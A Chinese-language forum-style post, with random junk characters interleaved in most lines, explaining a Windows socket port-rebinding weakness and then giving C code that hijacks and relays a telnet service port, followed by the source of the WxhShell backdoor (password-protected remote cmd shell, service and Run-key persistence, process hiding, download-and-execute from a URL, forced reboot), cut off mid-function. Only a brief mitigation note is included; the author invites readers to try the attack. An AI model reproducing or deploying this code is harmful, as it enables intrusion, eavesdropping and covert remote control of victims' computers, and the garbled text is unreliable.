在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}DTpl?l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/&=E=S6 $Yt29AQ saddr.sin_family = AF_INET;
d:0RDK-}s Wh%qvV6] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
f\"Qgn Q5e ,[1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v]g/
5qI& 4Vj|k\vE4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nnmn@t(%r {
p {a0*$5 这意味着什么?意味着可以进行如下的攻击:
FxSBxz<N-A >Dpz0v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&I.UEF2, ^RG6h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?7@Y=7BS4 -@%*~^~z' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
SMaC{RPQ CjM+%l0MW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
o)KF+[^ KyW6[WA9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1TfK"\ p5^,3& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)((Jnm D ;Jt*s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U9IP`)z_5t Vb06z3"r #include
^~0Mw;n& #include
l?~SH[V #include
o)'T#uK #include
xA]CtB*o7 DWORD WINAPI ClientThread(LPVOID lpParam);
T[s_w-<7$ int main()
&|u {
$b\`N2J-_ WORD wVersionRequested;
!<]%V]5[_ DWORD ret;
l2>G +t (, WSADATA wsaData;
tfj6#{M5 BOOL val;
#EAP<h SOCKADDR_IN saddr;
|c,":R SOCKADDR_IN scaddr;
7*y_~H int err;
elb|=J`M0 SOCKET s;
*. l,_68 SOCKET sc;
Ix g.^>62 int caddsize;
EtJyI&7VK HANDLE mt;
X>2_Gol! DWORD tid;
WV!qG6\W wVersionRequested = MAKEWORD( 2, 2 );
$6h:j#{JE err = WSAStartup( wVersionRequested, &wsaData );
p*F&G=ZE if ( err != 0 ) {
7+JQaYO`" printf("error!WSAStartup failed!\n");
OBi9aFoQ return -1;
cu(2BDfiL }
ji<b#YO4 saddr.sin_family = AF_INET;
`h_,I R< ,K .P,z~* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|r 1\ vGO- a2Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
C_=! ( @`8 saddr.sin_port = htons(23);
fLL_{o0T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gxpR#/(E~ {
\-N
4G1 printf("error!socket failed!\n");
1Vt7[L* return -1;
ej>8$^y }
Bvzl*
&? val = TRUE;
<i"U%Ds ( //SO_REUSEADDR选项就是可以实现端口重绑定的
,x!P|\w.G{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9kL'"0c {
/8@JWK^I{ printf("error!setsockopt failed!\n");
X|t?{.p return -1;
AZt~ \qf }
0e9W>J9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
12DMb9_rp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1HL}tG?+# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
P!:Y<p{=> )`yxJ;O@$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q*Per;%J {
5WgdgDb@L ret=GetLastError();
e*jt(p[Ge printf("error!bind failed!\n");
.,(bDXl? return -1;
dQ@e+u5 }
:q S=_!1 listen(s,2);
ZdeRLX while(1)
OsPx-|f
S~ {
q PuxYU caddsize = sizeof(scaddr);
*,{. oO9# //接受连接请求
}"wWSPD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\Xc6K!HJM if(sc!=INVALID_SOCKET)
[tym~ZZ]_m {
EMzJJe{Cv mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/vS!9f${ if(mt==NULL)
GJai!$v {
=_I2ek printf("Thread Creat Failed!\n");
Mz#
&"WjF break;
'x{g P?. }
VI0^Zq!6R }
)Y}t~ Zfx CloseHandle(mt);
B-ReBtN }
FFb`4. closesocket(s);
HGfV2FtT z WSACleanup();
zm)
]cq return 0;
xOP%SF }
z kQV$n{ DWORD WINAPI ClientThread(LPVOID lpParam)
K#H}=Y A {
t%ye: SOCKET ss = (SOCKET)lpParam;
=($RT SOCKET sc;
u$$@Hw unsigned char buf[4096];
<:0649ZB SOCKADDR_IN saddr;
z(d@!Cd long num;
j9u/R01d DWORD val;
<#<4A0: DWORD ret;
3P~I'FQ //如果是隐藏端口应用的话,可以在此处加一些判断
ne] |\] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
w'z?1M(* saddr.sin_family = AF_INET;
EQ'iyXhEe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cP%mkh_ri saddr.sin_port = htons(23);
jnsV'@v8Nj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,S
E5W2a] {
>B/ jTn5= printf("error!socket failed!\n");
A|1
TE$ return -1;
-FV$Sne }
z=:<]j#= val = 100;
#\KSv
Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.ii9-+_ {
U.is:&]E ret = GetLastError();
l4?o0;:) return -1;
7yo/sb9h }
Wm$(b2t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,}2yxo;i {
aKXaor@0f. ret = GetLastError();
6*cG>I.Z return -1;
H_KE^1 }
?nJ7lLQA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P3V=DOG" {
Ac;rMwXk# printf("error!socket connect failed!\n");
:W(3<D7\ closesocket(sc);
BoZ])Y6= closesocket(ss);
oVutHt return -1;
g3Q]W(F%$ }
h1@|UxaE# while(1)
^_ <jg0V {
ON#\W>MK? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{WUW.(^]G //如果是嗅探内容的话,可以再此处进行内容分析和记录
\U;4\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&}wrN(?w num = recv(ss,buf,4096,0);
<ABN/nH if(num>0)
Q<W9<&VZe send(sc,buf,num,0);
m<)0XE6w else if(num==0)
UH/) 4Wg break;
cnr&%- num = recv(sc,buf,4096,0);
{Ts@#V=: if(num>0)
le*mr0a send(ss,buf,num,0);
~l"70\& else if(num==0)
dK'?<w$ break;
Li~(kw3 }
*n mr4Q'v{ closesocket(ss);
TY~8`+bJ closesocket(sc);
z3+y|nx! return 0 ;
@s!9 T }
-5,QrMM< eUlF4l<] !9=hUpRN ==========================================================
{[WEA^C~Q RG/M- 下边附上一个代码,,WXhSHELL
N^7Qn*qt[ pOP`n3m0 ==========================================================
_[;>V*?zp5 Z7RGOZQ}G #include "stdafx.h"
ry9%Y3 jn vJ`7zFP #include <stdio.h>
WNSf$D{p #include <string.h>
&ywAzGV{s #include <windows.h>
RM\it"g #include <winsock2.h>
nIdB, #include <winsvc.h>
?dMyhU} #include <urlmon.h>
ceBu i8a
| y<mmv~= #pragma comment (lib, "Ws2_32.lib")
?"f\"N #pragma comment (lib, "urlmon.lib")
B:S/
?v =H&{*Ja #define MAX_USER 100 // 最大客户端连接数
&LM@_P"T #define BUF_SOCK 200 // sock buffer
;;rEv5 / #define KEY_BUFF 255 // 输入 buffer
t mAj S@i*+&Ot #define REBOOT 0 // 重启
'o=`1I #define SHUTDOWN 1 // 关机
kBolDPvBG 8CKN^8E #define DEF_PORT 5000 // 监听端口
*,qW9z 55xaZ#| #define REG_LEN 16 // 注册表键长度
'>dsROB-> #define SVC_LEN 80 // NT服务名长度
lZoy(kdc _kUf[& // 从dll定义API
#xL^S9P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Zwj\Hz. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
t.wB\Kmt\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
q#9JJWSs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.OFwGOL% $1<V'b[E // wxhshell配置信息
*Y!'3|T struct WSCFG {
MX!t/&X(n int ws_port; // 监听端口
9x;CJhX char ws_passstr[REG_LEN]; // 口令
( iM*Y"Y int ws_autoins; // 安装标记, 1=yes 0=no
)IUeWR char ws_regname[REG_LEN]; // 注册表键名
Zz!0|-\ char ws_svcname[REG_LEN]; // 服务名
zK.%tx}+=k char ws_svcdisp[SVC_LEN]; // 服务显示名
t\LAotTF/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
I2G4j/c=z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UeNa int ws_downexe; // 下载执行标记, 1=yes 0=no
Fw,'a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
["l1\YCi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u&MlWKCi )Los\6PRn };
pqmb&"l /H 3u^ // default Wxhshell configuration
cQ kH4>C~ struct WSCFG wscfg={DEF_PORT,
72rnMHq "xuhuanlingzhe",
J9s4lsea 1,
3I0=^>A "Wxhshell",
E`vCYhf{ "Wxhshell",
i=b<Mz7| "WxhShell Service",
-h=K]Y{` "Wrsky Windows CmdShell Service",
;-SFK+)R" "Please Input Your Password: ",
uJ:'<dJ 1,
r![RRa^ "
http://www.wrsky.com/wxhshell.exe",
so[i"ZM) "Wxhshell.exe"
8GpPyG
],e };
jP*5(*[&y Ejc%DSG // 消息定义模块
8yr_A[S8. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r\6 "mU char *msg_ws_prompt="\n\r? for help\n\r#>";
}bj
dK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3`y9V2&b char *msg_ws_ext="\n\rExit.";
V}?d
,.m`{ char *msg_ws_end="\n\rQuit.";
a.P7O!2Lp char *msg_ws_boot="\n\rReboot...";
3SbtN3 char *msg_ws_poff="\n\rShutdown...";
z[xi char *msg_ws_down="\n\rSave to ";
Gb)!]:8 K9JW&5Q char *msg_ws_err="\n\rErr!";
5AmYrXZ char *msg_ws_ok="\n\rOK!";
q5X\wz2N 8r7}6 char ExeFile[MAX_PATH];
qJq49}2 int nUser = 0;
H(qDQqJHYy HANDLE handles[MAX_USER];
rn1^6qy) int OsIsNt;
0bY}<x(; eWjLP{W SERVICE_STATUS serviceStatus;
0Q@
&z SERVICE_STATUS_HANDLE hServiceStatusHandle;
nC Mv&{~
CD$0Z // 函数声明
*=]hc@ int Install(void);
INca int Uninstall(void);
*5( h,s3& int DownloadFile(char *sURL, SOCKET wsh);
LKtug>Me int Boot(int flag);
5LVhq[}mP void HideProc(void);
$umh&z/ int GetOsVer(void);
S\7-u\) int Wxhshell(SOCKET wsl);
SKT f=rY void TalkWithClient(void *cs);
j$%KKl8j int CmdShell(SOCKET sock);
xyGk\= S int StartFromService(void);
p4m9@\gn int StartWxhshell(LPSTR lpCmdLine);
3*@ sp wwnl_9a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*ea%KE": VOID WINAPI NTServiceHandler( DWORD fdwControl );
c_#\'yeW fbF *C V // 数据结构和表定义
m.ib#Y)y SERVICE_TABLE_ENTRY DispatchTable[] =
S1 22.
I {
I[|5 DQ {wscfg.ws_svcname, NTServiceMain},
MCN}pi {NULL, NULL}
YGy.39@31 };
b&k !DeE Kk?P89=* // 自我安装
EsA)o
5 int Install(void)
#KA,=J {
Xo[={2_ char svExeFile[MAX_PATH];
N?`-$C ] HKEY key;
8BUPvaP<[ strcpy(svExeFile,ExeFile);
r5ONAa3. |2mm@): // 如果是win9x系统,修改注册表设为自启动
JTu^p]os? if(!OsIsNt) {
PprCz" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P;R`22\3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=]r<xON%S RegCloseKey(key);
qaK9E@l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TxZ ^zj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JGH;&UYP RegCloseKey(key);
_F|oL| return 0;
'F[m,[T%x }
8,0p14I5; }
1#H=<iJ }
c]]OV7;)> else {
9Xw(|22 W79wz\a // 如果是NT以上系统,安装为系统服务
w}="}Cb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y#3<w if (schSCManager!=0)
BM+v,hGY {
N%Gb SC_HANDLE schService = CreateService
2y6 e]D (
u~Zx9>f schSCManager,
Hk'D@(hS wscfg.ws_svcname,
gzS6{570 wscfg.ws_svcdisp,
G]Fp}, SERVICE_ALL_ACCESS,
VfS&V*un SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?Rlo<f:Mf SERVICE_AUTO_START,
=b{wzx}e SERVICE_ERROR_NORMAL,
<-xI!o"} svExeFile,
I5[HD_g: NULL,
sJ{S(wpi" NULL,
?kfLOJQ:I NULL,
nCF1i2*6|" NULL,
8PQKB*<dB" NULL
`w@8i[2J );
4\qnCf3 if (schService!=0)
X 4\ {
[=dK%7v CloseServiceHandle(schService);
.W[ 9G\ CloseServiceHandle(schSCManager);
$j?zEz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r+6=b" strcat(svExeFile,wscfg.ws_svcname);
iYwzdW1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5U[m]W=B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@LQe[` RegCloseKey(key);
DbRq,T return 0;
]3B8D<p }
Li[ :L }
0q6$KP}q CloseServiceHandle(schSCManager);
X=Qa TV }
=ELl86=CG }
`;?`XC"m >)E{Hs return 1;
s];jroW@u }
H{Fww4pn h B@M5Mc$ // 自我卸载
PtR8m=O int Uninstall(void)
N@Fof(T& {
h+,Eu7\88 HKEY key;
Rd|#-7 HB+{vuN*L if(!OsIsNt) {
z=YHRS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;3~+M:{2 RegDeleteValue(key,wscfg.ws_regname);
QLr.5Wcg> RegCloseKey(key);
~!bA<q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s/' ]* n RegDeleteValue(key,wscfg.ws_regname);
1?6zsA%N RegCloseKey(key);
'JA<q-Gn return 0;
=8Bq2.nlR }
d~ m,hCTe }
?H7Ym N }
tv,Z>&OM else {
>ZX&2 { 2<"kfan SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[^rMM1^,OB if (schSCManager!=0)
rV
*`0hA1 {
()Cw;N{E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vz{Z
tE" if (schService!=0)
(g>8!Gl {
}iOFB&)w if(DeleteService(schService)!=0) {
k;)t}7(
CloseServiceHandle(schService);
1$A7BP CloseServiceHandle(schSCManager);
;ty08D/ return 0;
o8Q+hZB}A }
nqnVFkGd9 CloseServiceHandle(schService);
'h]sq{ }
qj$6/V|D CloseServiceHandle(schSCManager);
5(+9(
\x }
%d%$jF` }
p bRU" -c_}^j return 1;
T/9`VB%N }
L("zS%qr J.t tJOP // 从指定url下载文件
948 lL& int DownloadFile(char *sURL, SOCKET wsh)
# Vq"Cf {
,p3moD
3 HRESULT hr;
06r-@iY.] char seps[]= "/";
h#EksX char *token;
@U)k~z2Hk char *file;
*{#l0My char myURL[MAX_PATH];
iUH{rh! char myFILE[MAX_PATH];
krt8yAkG Hea76P5$P+ strcpy(myURL,sURL);
w%Bo7 'o)V token=strtok(myURL,seps);
S*0P[R while(token!=NULL)
\NgBF {
Pl9Ky(Q`V file=token;
IegZ)&_n token=strtok(NULL,seps);
>sfH[b }
s\Zp/-Q 3Mlwq'pzD GetCurrentDirectory(MAX_PATH,myFILE);
ea\b7a* strcat(myFILE, "\\");
cD!yd^QE strcat(myFILE, file);
XH"-sZt send(wsh,myFILE,strlen(myFILE),0);
})Pq!u:3 send(wsh,"...",3,0);
eG
F{.] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
p,cw-lN if(hr==S_OK)
r6x"D3 return 0;
O=A(x m# else
9^AfT>b~f return 1;
ophQdJM DXH"`1[- }
~?BN4ptc ~A X@o-WU // 系统电源模块
G\I DgPj` int Boot(int flag)
Qgel^"t]i {
YtWO=+rX HANDLE hToken;
*pZhwO!D TOKEN_PRIVILEGES tkp;
d9E'4Zm p2\mPFxEP if(OsIsNt) {
iuxS=3lT"K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:VB{@ED LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
QEb
^'y tkp.PrivilegeCount = 1;
'T_Vm%\) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hG8!aJo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7YLG<G!v)] if(flag==REBOOT) {
chQCl3&e^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Px$4.b[{_Y return 0;
L)!9+!PKD }
VuiK5?m else {
$v#\bqY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;<?mMi@<E return 0;
w QnW2)9! }
u5LrZt]k }
!
,*4d $ else {
>3J?O96|f if(flag==REBOOT) {
F6vN{FI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ux
7^PTgcO return 0;
P*\h)F/3}t }
1lf5xm. else {
YgFmJ.1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G5R"5d' return 0;
B,f4< }
(8$; 4 q[! }
R54wNm@ , (Bo .(] return 1;
)T_o!/\*|* }
Km=dId7] K< ;I*cAX // win9x进程隐藏模块
Ns*&;x9 void HideProc(void)
nB#m?hK {
^@"EI|fsP NukcBH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^/H9`z; if ( hKernel != NULL )
Hfw*\=p
{
Vh1R!>XY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
AxbQN.E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
";PW#VHC FreeLibrary(hKernel);
v *pN~}5 }
xlW`4\ Pa {4%B^+}T
return;
A5A4*.C }
M$O*@]) >3v
j<v}m // 获取操作系统版本
zHEH?xZ6sD int GetOsVer(void)
L7}dvdtZ0 {
m7|}PH"7 OSVERSIONINFO winfo;
Xqz\%&G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3)bC, GetVersionEx(&winfo);
3.c0PRZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=F B[<% return 1;
rQuozbBb else
5\?\|* WT return 0;
1hz:AUH }
~o+:M0)} {`Jr$*; // 客户端句柄模块
uVQH,NA, int Wxhshell(SOCKET wsl)
n[mVwQ(% {
ixf~3Y8 SOCKET wsh;
\$iU#Z struct sockaddr_in client;
"IjCuR;# DWORD myID;
.w.jT"uD! 8n[6BF); while(nUser<MAX_USER)
vjzpU(Sq# {
r&MHww1i int nSize=sizeof(client);
G>>`j2:y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
c6;326aDq if(wsh==INVALID_SOCKET) return 1;
_N-.=86* QO-R> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5Dhpcgq<< if(handles[nUser]==0)
kwcH$w<I closesocket(wsh);
"RkbT O else
{1<XOp#b nUser++;
/YyimG7 }
&EELq"5K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Nx%]dOa 8Moe8X#3 return 0;
3k#?E]' }
Xf4 TpHvZ]c // 关闭 socket
o!\Q, void CloseIt(SOCKET wsh)
/|kR=
~ {
!zu YO3: closesocket(wsh);
86bRfW' nUser--;
fAW( ExitThread(0);
zQ&k$l9 }
f>*D@TrU eaG _)y // 客户端请求句柄
jo7`DDb void TalkWithClient(void *cs)
n]15 ~GO. {
];3]/b)& <wIz8V SOCKET wsh=(SOCKET)cs;
>q}Ns^ .' char pwd[SVC_LEN];
4TPAD)C char cmd[KEY_BUFF];
JQo"<<[ char chr[1];
)&nfV5@" int i,j;
pG|+\k/B g`2DJi&) while (nUser < MAX_USER) {
6>fQe8Y y7x&/2 if(wscfg.ws_passstr) {
$N}nO:`t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]12ypcf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oy;g;dtq //ZeroMemory(pwd,KEY_BUFF);
o_(@v2G` i=0;
(i 3=XfZ!C while(i<SVC_LEN) {
V5.=08L L/YEW7M // 设置超时
g }%$VUSA fd_set FdRead;
Xcy Xju#"p struct timeval TimeOut;
]1^F FD_ZERO(&FdRead);
y5p)z" FD_SET(wsh,&FdRead);
t&oNC6 TimeOut.tv_sec=8;
J%:D%=9 ) TimeOut.tv_usec=0;
)Rlh[Y& r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u>K(m))5W3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0-=PP@W "u H VX|` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wqZ*$M pwd
=chr[0]; B5pWSS
if(chr[0]==0xd || chr[0]==0xa) { 5C G
,l
pwd=0; d:_3V rRZ
break; dw"Tv~
} kwM1f=!-
i++; Wf}x"*
} 4e0/Q!o,
pO10L`|
// 如果是非法用户,关闭 socket ;ATn&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HgY> M`U
} Mq#sSBE<K
l>J>?b=x"[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PlX6,3F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V+Tu{fFF7E
[8h~:.d`
while(1) { QrX 5Kwq
`
&E-
ZeroMemory(cmd,KEY_BUFF); MIn6p
HXg#iP^tv
// 自动支持客户端 telnet标准 ;r1.Uz(
j=0; KJLC2,
while(j<KEY_BUFF) { .Jvy0B} B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }23#z
cmd[j]=chr[0]; 50?5xSEM0_
if(chr[0]==0xa || chr[0]==0xd) { #A@d;U%
cmd[j]=0; f-'$tMs
break; sT;:V
} iDdmr32E
j++; 4_i6qu(4
} g3h:oQCS
IuW5LS
// 下载文件 / DC\F5 G
if(strstr(cmd,"http://")) { Aq5@k\[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); G#f(oGn :
if(DownloadFile(cmd,wsh)) \U\k$ (
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$WdW+glZ-
else K;NaiRP#k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -|/kg7IO\
} q_gsYb
else { Sd\+f6x
uA1DTr?z
switch(cmd[0]) { B+pJWl8u
~|!f6=
// 帮助 .%3qzOrN
case '?': { ywl7bU-f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J nzI-
y
break; n~e#Y<IP\1
} d$O)k+j
// 安装 5"cYZvGkJ
case 'i': { xdV $dDCT
if(Install()) ;xl_9Ht/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD~TWT_
else P?Fm<s:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w?db~"T
break; uV'w0`$y
} ;^cc-bLvF
// 卸载 tG"lI/
case 'r': { |AS`MsbI9
if(Uninstall()) tc%0yr9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1qgzb
else pSml+A:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =nTNL .SX
break; R8K?!Z
} GA.4'W^&a
// 显示 wxhshell 所在路径 g0n
5&X
case 'p': { (q|EC;
char svExeFile[MAX_PATH]; Ov5*&*P
strcpy(svExeFile,"\n\r"); *wY { ~zh
strcat(svExeFile,ExeFile); nRL2Z5iO-
send(wsh,svExeFile,strlen(svExeFile),0); u3XQ<N{Gj
break; Ksu_4dE
} n;5;D
// 重启 /cN. -lEo%
case 'b': { $kM8E@x2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _?IP}} jA:
if(Boot(REBOOT)) 8pQ:B/3=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~uo4n~H
else { O@gHx! L
closesocket(wsh); ZGHh!Ds;
ExitThread(0); nYF *f
} nnm9pnx
break; ~_YU%y
} |,G=k,?_p
// 关机 L9FijF7
case 'd': { =rrbS8To=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vMQvq9T}
if(Boot(SHUTDOWN)) <X{hW^??)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOz4>R
else { Gw;[maM!%`
closesocket(wsh); BW61WH?
ExitThread(0); <f'2dT@6
} tl uyx
break; D}| 30s?u1
}
.LX8ko
// 获取shell ;~ >E^0M
case 's': { )=
,Lfj8x
CmdShell(wsh); )/:&i<Q:
closesocket(wsh); A>c/q&WUk
ExitThread(0); u7Xr!d+wR
break; pNHO;N[&
} 7JedS
// 退出 d/Z258
case 'x': { %Ny`d49&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cVR3_e{&H
CloseIt(wsh); #0+`dI_5/
break; zP|y3`.52
} FZEK-]h.
// 离开 ^rKA=siz
case 'q': { ~4Gs\U:!Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E[FRx1^R9
closesocket(wsh); (j%d{y4
WSACleanup(); B~0L'8WzW
exit(1); XQ{G)
break; U~mv1V^.
} H9["ZRL,Q
} &tULSp@J
} xF+a.gAIb
+!I7(gL
// 提示信息 \xH#X=J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A-GRuC
} \qrSJ=}t
} 9\/T #EP
ohdWEU,
return; V0gk8wD
} \k=.w
5PJB<M_m:
// shell模块句柄 vu%:0p`K
int CmdShell(SOCKET sock) +G!N@O
{ wXc"Car)
STARTUPINFO si; +7jr ]kP9
ZeroMemory(&si,sizeof(si)); P}%0YJ$6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G36}4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &AMW?vO
PROCESS_INFORMATION ProcessInfo; *ay>MlcV2=
char cmdline[]="cmd"; <bwsK,C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VK*2`Z1
return 0; *nB fF{y
} x9#>0
4s
-$(,&qyk
// 自身启动模式 ?I` BbT}
int StartFromService(void) y&0&K4aa
{ oh '\,zpL
typedef struct B/i`
{ OXC7
m
DWORD ExitStatus; y(K?mtQ
DWORD PebBaseAddress; "+REv_:
